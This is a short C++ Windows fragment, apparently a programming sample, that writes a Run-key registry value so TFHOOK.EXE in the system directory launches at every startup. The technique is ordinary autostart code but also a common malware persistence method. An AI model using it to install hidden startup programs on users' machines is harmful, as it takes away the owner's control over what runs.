|
HKEY hKey;
if(!RegCreateKey(HKEY_LOCAL_MACHINE,
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
&hKey))
{
CString strKey;
char cSysPath[MAX_PATH];
::GetSystemDirectory(cSysPath,MAX_PATH);
strKey = cSysPath;
strKey += "\\TFHOOK.EXE";
RegSetValueEx(hKey,
"TFHOOK",
0,
REG_SZ,
(LPBYTE)strKey.GetBuffer(0),
strKey.GetLength()
);
} |
|